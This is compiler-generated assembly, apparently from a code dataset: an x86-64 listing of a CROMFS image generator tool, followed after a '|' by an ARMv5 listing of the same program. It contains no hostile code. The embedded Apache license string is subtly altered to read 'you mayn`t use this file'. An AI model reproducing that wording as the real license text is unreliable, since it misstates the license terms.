mov QWORD PTR -1112[rbp], rax
movzx eax, BYTE PTR -1070[rbp]
test al, al
jne .L118
mov rax, QWORD PTR -1120[rbp]
mov WORD PTR -1174[rbp], ax
jmp .L119
.L118:
movzx eax, BYTE PTR -1069[rbp]
movzx eax, al
sal eax, 8
mov edx, eax
movzx eax, BYTE PTR -1068[rbp]
movzx eax, al
or eax, edx
mov WORD PTR -1174[rbp], ax
.L119:
movzx ecx, WORD PTR -1174[rbp]
mov rdi, QWORD PTR -1120[rbp]
mov rsi, QWORD PTR -1112[rbp]
mov eax, DWORD PTR g_offset[rip]
mov r10d, eax
mov rax, QWORD PTR g_tmpstream[rip]
mov edx, DWORD PTR -1172[rbp]
sub rsp, 8
push rcx
mov r9, rdi
mov r8, rsi
mov ecx, edx
mov rdx, r10
lea rsi, .LC23[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
add rsp, 16
mov rax, QWORD PTR -1112[rbp]
mov edx, eax
mov rax, QWORD PTR g_tmpstream[rip]
lea rcx, -1072[rbp]
mov rsi, rcx
mov rdi, rax
call dump_hexbuffer
mov rax, QWORD PTR g_tmpstream[rip]
mov rdi, rax
call dump_nextline
mov rax, QWORD PTR -1120[rbp]
add QWORD PTR -1160[rbp], rax
mov rax, QWORD PTR -1112[rbp]
add QWORD PTR -1152[rbp], rax
mov rax, QWORD PTR -1112[rbp]
mov edx, eax
mov eax, DWORD PTR g_offset[rip]
add eax, edx
mov DWORD PTR g_offset[rip], eax
mov eax, DWORD PTR g_nblocks[rip]
add eax, 1
mov DWORD PTR g_nblocks[rip], eax
add DWORD PTR -1172[rbp], 1
.L117:
cmp QWORD PTR -1120[rbp], 0
jne .L120
mov rax, QWORD PTR -1144[rbp]
mov QWORD PTR g_tmpstream[rip], rax
mov edx, DWORD PTR -1168[rbp]
mov rax, QWORD PTR g_tmpstream[rip]
mov rdi, QWORD PTR -1152[rbp]
mov rsi, QWORD PTR -1160[rbp]
mov rcx, QWORD PTR -1192[rbp]
mov r9, rdi
mov r8, rsi
lea rsi, .LC24[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov eax, DWORD PTR -1204[rbp]
mov edi, eax
call get_mode
or ax, -32768
mov WORD PTR -1104[rbp], ax
mov WORD PTR -1102[rbp], 0
add DWORD PTR -1168[rbp], 20
mov eax, DWORD PTR -1168[rbp]
mov DWORD PTR -1100[rbp], eax
mov rax, QWORD PTR -1160[rbp]
mov DWORD PTR -1096[rbp], eax
mov eax, DWORD PTR -1164[rbp]
add DWORD PTR -1168[rbp], eax
mov eax, DWORD PTR -1168[rbp]
mov DWORD PTR -1088[rbp], eax
mov rax, QWORD PTR -1152[rbp]
add DWORD PTR -1168[rbp], eax
cmp BYTE PTR -1208[rbp], 0
je .L121
mov eax, 0
jmp .L122
.L121:
mov eax, DWORD PTR -1168[rbp]
.L122:
mov DWORD PTR -1092[rbp], eax
mov rax, QWORD PTR g_tmpstream[rip]
lea rcx, -1104[rbp]
mov edx, 20
mov rsi, rcx
mov rdi, rax
call dump_hexbuffer
mov edx, DWORD PTR -1164[rbp]
mov rax, QWORD PTR g_tmpstream[rip]
mov rcx, QWORD PTR -1200[rbp]
mov rsi, rcx
mov rdi, rax
call dump_hexbuffer
mov rax, QWORD PTR g_tmpstream[rip]
mov rdi, rax
call dump_nextline
mov eax, DWORD PTR g_nnodes[rip]
add eax, 1
mov DWORD PTR g_nnodes[rip], eax
mov rax, QWORD PTR g_tmpstream[rip]
mov rdx, QWORD PTR -1136[rbp]
mov rsi, rdx
mov rdi, rax
call append_tmpfile
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L123
call __stack_chk_fail@PLT
.L123:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE19:
.size gen_file, .-gen_file
.section .rodata
.LC25:
.string "%s/%s"
.text
.type dir_notempty, @function
dir_notempty:
.LFB20:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 208
mov QWORD PTR -184[rbp], rdi
mov QWORD PTR -192[rbp], rsi
mov QWORD PTR -200[rbp], rdx
mov eax, ecx
mov BYTE PTR -204[rbp], al
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rcx, QWORD PTR -192[rbp]
mov rdx, QWORD PTR -184[rbp]
lea rax, -168[rbp]
lea rsi, .LC25[rip]
mov rdi, rax
mov eax, 0
call asprintf@PLT
mov DWORD PTR -176[rbp], eax
mov rax, QWORD PTR -168[rbp]
lea rdx, -160[rbp]
mov rsi, rdx
mov rdi, rax
call stat@PLT
mov DWORD PTR -176[rbp], eax
cmp DWORD PTR -176[rbp], 0
jns .L125
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov DWORD PTR -172[rbp], eax
mov eax, DWORD PTR -172[rbp]
mov edi, eax
call strerror@PLT
mov rcx, rax
mov rdx, QWORD PTR -168[rbp]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC3[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L125:
mov rax, QWORD PTR -168[rbp]
mov rdi, rax
call free@PLT
mov eax, DWORD PTR -136[rbp]
and eax, 61440
cmp eax, 32768
je .L126
mov eax, DWORD PTR -136[rbp]
and eax, 61440
cmp eax, 16384
jne .L127
.L126:
mov eax, 1
jmp .L129
.L127:
mov eax, 0
.L129:
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L130
call __stack_chk_fail@PLT
.L130:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE20:
.size dir_notempty, .-dir_notempty
.section .rodata
.align 8
.LC26:
.string "ERROR: Directory entry %s does not exist\n"
.LC27:
.string "Omitting entry %s\n"
.text
.type process_direntry, @function
process_direntry:
.LFB21:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 208
mov QWORD PTR -184[rbp], rdi
mov QWORD PTR -192[rbp], rsi
mov QWORD PTR -200[rbp], rdx
mov eax, ecx
mov BYTE PTR -204[rbp], al
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rcx, QWORD PTR -192[rbp]
mov rdx, QWORD PTR -184[rbp]
lea rax, -168[rbp]
lea rsi, .LC25[rip]
mov rdi, rax
mov eax, 0
call asprintf@PLT
mov DWORD PTR -176[rbp], eax
mov rax, QWORD PTR -168[rbp]
lea rdx, -160[rbp]
mov rsi, rdx
mov rdi, rax
call stat@PLT
mov DWORD PTR -176[rbp], eax
cmp DWORD PTR -176[rbp], 0
jns .L132
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov DWORD PTR -172[rbp], eax
cmp DWORD PTR -172[rbp], 2
jne .L133
mov rdx, QWORD PTR -168[rbp]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC26[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
jmp .L134
.L133:
mov eax, DWORD PTR -172[rbp]
mov edi, eax
call strerror@PLT
mov rcx, rax
mov rdx, QWORD PTR -168[rbp]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC3[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
.L134:
call show_usage
jmp .L135
.L132:
mov eax, DWORD PTR -136[rbp]
and eax, 61440
cmp eax, 16384
jne .L136
movzx ecx, BYTE PTR -204[rbp]
mov edx, DWORD PTR -136[rbp]
mov rax, QWORD PTR -168[rbp]
mov rsi, QWORD PTR -192[rbp]
mov rdi, rax
call gen_directory
jmp .L135
.L136:
mov eax, DWORD PTR -136[rbp]
and eax, 61440
cmp eax, 32768
jne .L137
movzx ecx, BYTE PTR -204[rbp]
mov edx, DWORD PTR -136[rbp]
mov rax, QWORD PTR -168[rbp]
mov rsi, QWORD PTR -192[rbp]
mov rdi, rax
call gen_file
jmp .L135
.L137:
mov rdx, QWORD PTR -168[rbp]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC27[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
.L135:
mov rax, QWORD PTR -168[rbp]
mov rdi, rax
call free@PLT
mov eax, 0
mov rdi, QWORD PTR -8[rbp]
sub rdi, QWORD PTR fs:40
je .L139
call __stack_chk_fail@PLT
.L139:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE21:
.size process_direntry, .-process_direntry
.section .rodata
.align 8
.LC28:
.string "ERROR: opendir(%s) failed: %s\n"
.text
.type traverse_directory, @function
traverse_directory:
.LFB22:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 336
mov QWORD PTR -312[rbp], rdi
mov QWORD PTR -320[rbp], rsi
mov QWORD PTR -328[rbp], rdx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -292[rbp], 0
mov rax, QWORD PTR -312[rbp]
mov rdi, rax
call opendir@PLT
mov QWORD PTR -280[rbp], rax
cmp QWORD PTR -280[rbp], 0
jne .L141
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rcx, rax
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -312[rbp]
lea rsi, .LC28[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call show_usage
.L141:
mov rax, QWORD PTR -280[rbp]
mov rdi, rax
call readdir@PLT
mov QWORD PTR -288[rbp], rax
jmp .L142
.L144:
mov rax, QWORD PTR -288[rbp]
lea rcx, 19[rax]
lea rax, -272[rbp]
mov edx, 256
mov rsi, rcx
mov rdi, rax
call strncpy@PLT
mov rax, QWORD PTR -280[rbp]
mov rdi, rax
call readdir@PLT
mov QWORD PTR -288[rbp], rax
lea rax, -272[rbp]
lea rsi, .LC18[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
je .L142
lea rax, -272[rbp]
lea rsi, .LC19[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
je .L142
cmp QWORD PTR -288[rbp], 0
sete al
movzx ecx, al
mov rdx, QWORD PTR -328[rbp]
lea rsi, -272[rbp]
mov rax, QWORD PTR -312[rbp]
mov r8, QWORD PTR -320[rbp]
mov rdi, rax
call r8
mov DWORD PTR -292[rbp], eax
cmp DWORD PTR -292[rbp], 0
jne .L147
.L142:
cmp QWORD PTR -288[rbp], 0
jne .L144
jmp .L143
.L147:
nop
.L143:
mov rax, QWORD PTR -280[rbp]
mov rdi, rax
call closedir@PLT
mov eax, DWORD PTR -292[rbp]
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L146
call __stack_chk_fail@PLT
.L146:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE22:
.size traverse_directory, .-traverse_directory
.section .rodata
.align 8
.LC29:
.string "Unexpected number of arguments\n"
.LC30:
.string "w"
.LC31:
.string "open %s failed: %s\n"
.LC32:
.string "/* CROMFS image */\n\n"
.align 8
.LC33:
.string "const uint8_t aligned_data(4) g_cromfs_image[] =\n"
.LC34:
.string "{\n"
.align 8
.LC35:
.string " /* Offset %6lu: Volume header */\n\n"
.align 8
.LC36:
.string "\n /* Offset %6lu: Root directory */\n"
.LC37:
.string "};\n"
.text
.globl main
.type main, @function
main:
.LFB23:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov DWORD PTR -52[rbp], edi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -64[rbp]
mov rax, QWORD PTR [rax]
mov esi, 47
mov rdi, rax
call strrchr@PLT
mov QWORD PTR -40[rbp], rax
cmp QWORD PTR -40[rbp], 0
jne .L149
mov rax, QWORD PTR -64[rbp]
mov rax, QWORD PTR [rax]
jmp .L150
.L149:
mov rax, QWORD PTR -40[rbp]
add rax, 1
.L150:
mov QWORD PTR g_progname[rip], rax
cmp DWORD PTR -52[rbp], 3
je .L151
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 31
mov esi, 1
lea rdi, .LC29[rip]
call fwrite@PLT
call show_usage
.L151:
mov rax, QWORD PTR -64[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR g_dirname[rip], rax
mov rax, QWORD PTR -64[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR g_outname[rip], rax
call verify_directory
call verify_outfile
mov rax, QWORD PTR g_outname[rip]
lea rsi, .LC30[rip]
mov rdi, rax
call fopen@PLT
mov QWORD PTR g_outstream[rip], rax
mov rax, QWORD PTR g_outstream[rip]
test rax, rax
jne .L152
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rcx, rax
mov rdx, QWORD PTR g_outname[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC31[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L152:
call open_tmpfile
mov QWORD PTR g_tmpstream[rip], rax
call init_outfile
mov DWORD PTR g_offset[rip], 20
mov DWORD PTR g_diroffset[rip], 20
mov DWORD PTR g_parent_offset[rip], 20
mov rax, QWORD PTR g_dirname[rip]
mov edx, 0
lea rsi, dir_notempty[rip]
mov rdi, rax
call traverse_directory
mov DWORD PTR -44[rbp], eax
cmp DWORD PTR -44[rbp], 0
sete al
movzx edx, al
mov eax, DWORD PTR g_diroffset[rip]
mov esi, eax
lea rdi, .LC18[rip]
call gen_dirlink
cmp DWORD PTR -44[rbp], 0
je .L153
mov rax, QWORD PTR g_dirname[rip]
mov edx, 0
lea rsi, process_direntry[rip]
mov rdi, rax
call traverse_directory
.L153:
mov rax, QWORD PTR g_outstream[rip]
mov rcx, rax
mov edx, 20
mov esi, 1
lea rdi, .LC32[rip]
call fwrite@PLT
mov rax, QWORD PTR g_outstream[rip]
mov rcx, rax
mov edx, 49
mov esi, 1
lea rdi, .LC33[rip]
call fwrite@PLT
mov rax, QWORD PTR g_outstream[rip]
mov rcx, rax
mov edx, 2
mov esi, 1
lea rdi, .LC34[rip]
call fwrite@PLT
mov rax, QWORD PTR g_outstream[rip]
mov edx, 0
lea rsi, .LC35[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR -32[rbp], 1297044035
mov eax, DWORD PTR g_nnodes[rip]
mov WORD PTR -28[rbp], ax
mov eax, DWORD PTR g_nblocks[rip]
mov WORD PTR -26[rbp], ax
mov DWORD PTR -24[rbp], 20
mov eax, DWORD PTR g_offset[rip]
mov DWORD PTR -20[rbp], eax
mov DWORD PTR -16[rbp], 512
mov rax, QWORD PTR g_outstream[rip]
lea rcx, -32[rbp]
mov edx, 20
mov rsi, rcx
mov rdi, rax
call dump_hexbuffer
mov rax, QWORD PTR g_outstream[rip]
mov rdi, rax
call dump_nextline
mov rax, QWORD PTR g_outstream[rip]
mov edx, 20
lea rsi, .LC36[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rdx, QWORD PTR g_tmpstream[rip]
mov rax, QWORD PTR g_outstream[rip]
mov rsi, rdx
mov rdi, rax
call append_tmpfile
mov rax, QWORD PTR g_outstream[rip]
mov rcx, rax
mov edx, 3
mov esi, 1
lea rdi, .LC37[rip]
call fwrite@PLT
mov rax, QWORD PTR g_outstream[rip]
mov rdi, rax
call fclose@PLT
call unlink_tmpfiles
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L155
call __stack_chk_fail@PLT
.L155:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE23:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "99948.c"
.text
.local g_lzf_hashtab
.comm g_lzf_hashtab,32768,4
.local g_progname
.comm g_progname,4,4
.local g_dirname
.comm g_dirname,4,4
.local g_outname
.comm g_outname,4,4
.local g_outstream
.comm g_outstream,4,4
.local g_tmpstream
.comm g_tmpstream,4,4
.section .rodata
.align 2
.type g_delim, %object
.size g_delim, 77
g_delim:
.ascii "***************************************************"
.ascii "*************************\000"
.align 2
.type g_license, %object
.size g_license, 797
g_license:
.ascii " *\012 * Licensed to the Apache Software Foundation"
.ascii " (ASF) under one or more\012 * contributor license "
.ascii "agreements. See the NOTICE file distributed with\012"
.ascii " * this work for additional information regarding c"
.ascii "opyright ownership.\012 * The ASF licenses this fil"
.ascii "e to you under the Apache License, Version\012 * 2."
.ascii "0 (the \"License\"); you mayn`t use this file excep"
.ascii "t in compliance\012 * with the License. You may obt"
.ascii "ain a copy of the License at\012 *\012 * http://w"
.ascii "ww.apache.org/licenses/LICENSE-2.0\012 *\012 * Unle"
.ascii "ss required by applicable law or agreed to in writi"
.ascii "ng, software\012 * distributed under the License is"
.ascii " distributed on an \"AS IS\" BASIS,\012 * WITHOUT W"
.ascii "ARRANTIES OR CONDITIONS OF ANY KIND, either express"
.ascii " or\012 * implied. See the License for the specific"
.ascii " language governing\012 * permissions and limitatio"
.ascii "ns under the License.\012 *\012\000"
.local g_offset
.comm g_offset,4,4
.local g_diroffset
.comm g_diroffset,4,4
.local g_parent_offset
.comm g_parent_offset,4,4
.local g_nnodes
.comm g_nnodes,4,4
.local g_nblocks
.comm g_nblocks,4,4
.local g_nhex
.comm g_nhex,4,4
.local g_ntmps
.comm g_ntmps,4,4
.align 2
.LC0:
.ascii "USAGE: %s <dir-path> <out-file>\012\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type show_usage, %function
show_usage:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r3, .L2
ldr r3, [r3]
ldr r2, .L2+4
ldr r2, [r2]
ldr r1, .L2+8
mov r0, r3
bl fprintf
mov r0, #1
bl exit
.L3:
.align 2
.L2:
.word stderr
.word g_progname
.word .LC0
.size show_usage, .-show_usage
.section .rodata
.align 2
.LC1:
.ascii "ERROR: Source <dir-path> %s is invalid\012\000"
.align 2
.LC2:
.ascii "ERROR: Source <dir-path> %s does not exist\012\000"
.align 2
.LC3:
.ascii "ERROR: stat(%s) failed: %s\012\000"
.align 2
.LC4:
.ascii "ERROR: Source <dir-path> %s is not a directory\012\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type verify_directory, %function
verify_directory:
@ args = 0, pretend = 0, frame = 112
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #112
ldr r3, .L15
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, .L15+4
ldr r3, [r3]
mov r0, r3
bl strlen
mov r3, r0
str r3, [fp, #-120]
b .L5
.L7:
ldr r3, .L15+4
ldr r2, [r3]
ldr r3, [fp, #-120]
sub r3, r3, #1
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-120]
sub r3, r3, #1
str r3, [fp, #-120]
.L5:
ldr r3, [fp, #-120]
cmp r3, #1
ble .L6
ldr r3, .L15+4
ldr r2, [r3]
ldr r3, [fp, #-120]
sub r3, r3, #1
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
beq .L7
.L6:
ldr r3, [fp, #-120]
cmp r3, #0
bgt .L8
ldr r3, .L15+8
ldr r3, [r3]
ldr r2, .L15+4
ldr r2, [r2]
ldr r1, .L15+12
mov r0, r3
bl fprintf
bl show_usage
.L8:
ldr r3, .L15+4
ldr r3, [r3]
sub r2, fp, #108
mov r1, r2
mov r0, r3
bl stat
str r0, [fp, #-116]
ldr r3, [fp, #-116]
cmp r3, #0
bge .L9
bl __errno_location
mov r3, r0
ldr r3, [r3]
str r3, [fp, #-112]
ldr r3, [fp, #-112]
cmp r3, #2
bne .L10
ldr r3, .L15+8
ldr r3, [r3]
ldr r2, .L15+4
ldr r2, [r2]
ldr r1, .L15+16
mov r0, r3
bl fprintf
b .L11
.L10:
ldr r3, .L15+8
ldr r4, [r3]
ldr r3, .L15+4
ldr r5, [r3]
ldr r0, [fp, #-112]
bl strerror
mov r3, r0
mov r2, r5
ldr r1, .L15+20
mov r0, r4
bl fprintf
.L11:
bl show_usage
b .L14
.L9:
ldr r3, [fp, #-92]
and r3, r3, #61440
cmp r3, #16384
beq .L14
ldr r3, .L15+8
ldr r3, [r3]
ldr r2, .L15+4
ldr r2, [r2]
ldr r1, .L15+24
mov r0, r3
bl fprintf
.L14:
nop
ldr r3, .L15
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L13
bl __stack_chk_fail
.L13:
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L16:
.align 2
.L15:
.word .LC5
.word g_dirname
.word stderr
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size verify_directory, .-verify_directory
.section .rodata
.align 2
.LC6:
.ascii "ERROR: Destination <out-file> %s exists\012\000"
.align 2
.LC7:
.ascii "Existing file %s will be replaced\012\000"
.align 2
.LC8:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type verify_outfile, %function
verify_outfile:
@ args = 0, pretend = 0, frame = 104
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #104
ldr r3, .L23
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, .L23+4
ldr r3, [r3]
sub r2, fp, #108
mov r1, r2
mov r0, r3
bl stat
str r0, [fp, #-116]
ldr r3, [fp, #-116]
cmp r3, #0
bge .L18
bl __errno_location
mov r3, r0
ldr r3, [r3]
str r3, [fp, #-112]
ldr r3, [fp, #-112]
cmp r3, #2
beq .L22
ldr r3, .L23+8
ldr r4, [r3]
ldr r3, .L23+4
ldr r5, [r3]
ldr r0, [fp, #-112]
bl strerror
mov r3, r0
mov r2, r5
ldr r1, .L23+12
mov r0, r4
bl fprintf
bl show_usage
b .L22
.L18:
ldr r3, [fp, #-92]
and r3, r3, #61440
cmp r3, #32768
beq .L20
ldr r3, .L23+8
ldr r3, [r3]
ldr r2, .L23+4
ldr r2, [r2]
ldr r1, .L23+16
mov r0, r3
bl fprintf
bl show_usage
b .L22
.L20:
ldr r3, .L23+4
ldr r3, [r3]
mov r1, r3
ldr r0, .L23+20
bl printf
.L22:
nop
ldr r3, .L23
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L21
bl __stack_chk_fail
.L21:
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L24:
.align 2
.L23:
.word .LC8
.word g_outname
.word stderr
.word .LC3
.word .LC6
.word .LC7
.size verify_outfile, .-verify_outfile
.section .rodata
.align 2
.LC9:
.ascii "/%s\012\000"
.align 2
.LC10:
.ascii " * %s\012\000"
.align 2
.LC11:
.ascii " %s/\012\012\000"
.align 2
.LC12:
.ascii " * Included Files\012\000"
.align 2
.LC13:
.ascii "#include <stdint.h>\012\012\000"
.align 2
.LC14:
.ascii " * Private Data\012\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type init_outfile, %function
init_outfile:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r3, .L26
ldr r3, [r3]
ldr r2, .L26+4
ldr r1, .L26+8
mov r0, r3
bl fprintf
ldr r3, .L26
ldr r3, [r3]
ldr r2, .L26+12
ldr r2, [r2]
ldr r1, .L26+16
mov r0, r3
bl fprintf
ldr r3, .L26
ldr r3, [r3]
mov r2, #796
mov r1, #1
ldr r0, .L26+20
bl fwrite
ldr r3, .L26
ldr r3, [r3]
ldr r2, .L26+4
ldr r1, .L26+24
mov r0, r3
bl fprintf
ldr r3, .L26
ldr r3, [r3]
ldr r2, .L26+4
ldr r1, .L26+8
mov r0, r3
bl fprintf
ldr r3, .L26
ldr r3, [r3]
mov r2, #18
mov r1, #1
ldr r0, .L26+28
bl fwrite
ldr r3, .L26
ldr r3, [r3]
ldr r2, .L26+4
ldr r1, .L26+24
mov r0, r3
bl fprintf
ldr r3, .L26
ldr r3, [r3]
mov r2, #21
mov r1, #1
ldr r0, .L26+32
bl fwrite
ldr r3, .L26
ldr r3, [r3]
ldr r2, .L26+4
ldr r1, .L26+8
mov r0, r3
bl fprintf
ldr r3, .L26
ldr r3, [r3]
mov r2, #16
mov r1, #1
ldr r0, .L26+36
bl fwrite
ldr r3, .L26
ldr r3, [r3]
ldr r2, .L26+4
ldr r1, .L26+24
mov r0, r3
bl fprintf
nop
pop {fp, pc}
.L27:
.align 2
.L26:
.word g_outstream
.word g_delim
.word .LC9
.word g_outname
.word .LC10
.word g_license
.word .LC11
.word .LC12
.word .LC13
.word .LC14
.size init_outfile, .-init_outfile
.section .rodata
.align 2
.LC15:
.ascii "/tmp/gencromfs-%06u\000"
.align 2
.LC16:
.ascii "w+\000"
.align 2
.LC17:
.ascii "fopen for tmp file %s failed: %s\012\000"
.align 2
.LC18:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type open_tmpfile, %function
open_tmpfile:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #44
ldr r3, .L32
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, .L32+4
ldr r3, [r3]
sub r0, fp, #48
ldr r2, .L32+8
mov r1, #32
bl snprintf
ldr r3, .L32+4
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L32+4
str r3, [r2]
sub r3, fp, #48
ldr r1, .L32+12
mov r0, r3
bl fopen
str r0, [fp, #-52]
ldr r3, [fp, #-52]
cmp r3, #0
bne .L29
ldr r3, .L32+16
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
sub r2, fp, #48
ldr r1, .L32+20
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L29:
ldr r3, [fp, #-52]
ldr r2, .L32
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L31
bl __stack_chk_fail
.L31:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L33:
.align 2
.L32:
.word .LC18
.word g_ntmps
.word .LC15
.word .LC16
.word stderr
.word .LC17
.size open_tmpfile, .-open_tmpfile
.section .rodata
.align 2
.LC19:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type unlink_tmpfiles, %function
unlink_tmpfiles:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
ldr r3, .L38
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-44]
b .L35
.L36:
sub r0, fp, #40
ldr r3, [fp, #-44]
ldr r2, .L38+4
mov r1, #32
bl snprintf
sub r3, fp, #40
mov r0, r3
bl unlink
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L35:
ldr r3, .L38+8
ldr r3, [r3]
ldr r2, [fp, #-44]
cmp r2, r3
bcc .L36
nop
ldr r3, .L38
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L37
bl __stack_chk_fail
.L37:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L39:
.align 2
.L38:
.word .LC19
.word .LC15
.word g_ntmps
.size unlink_tmpfiles, .-unlink_tmpfiles
.section .rodata
.align 2
.LC20:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type append_tmpfile, %function
append_tmpfile:
@ args = 0, pretend = 0, frame = 1040
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #1040
str r0, [fp, #-1040]
str r1, [fp, #-1044]
ldr r3, .L44
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, [fp, #-1044]
bl rewind
.L42:
sub r0, fp, #1024
sub r0, r0, #4
sub r0, r0, #4
ldr r3, [fp, #-1044]
mov r2, #1024
mov r1, #1
bl fread
str r0, [fp, #-1036]
ldr r3, [fp, #-1036]
cmp r3, #0
beq .L41
sub r0, fp, #1024
sub r0, r0, #4
sub r0, r0, #4
ldr r3, [fp, #-1040]
ldr r2, [fp, #-1036]
mov r1, #1
bl fwrite
.L41:
ldr r3, [fp, #-1036]
cmp r3, #0
bne .L42
ldr r0, [fp, #-1044]
bl fclose
nop
ldr r3, .L44
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L43
bl __stack_chk_fail
.L43:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L45:
.align 2
.L44:
.word .LC20
.size append_tmpfile, .-append_tmpfile
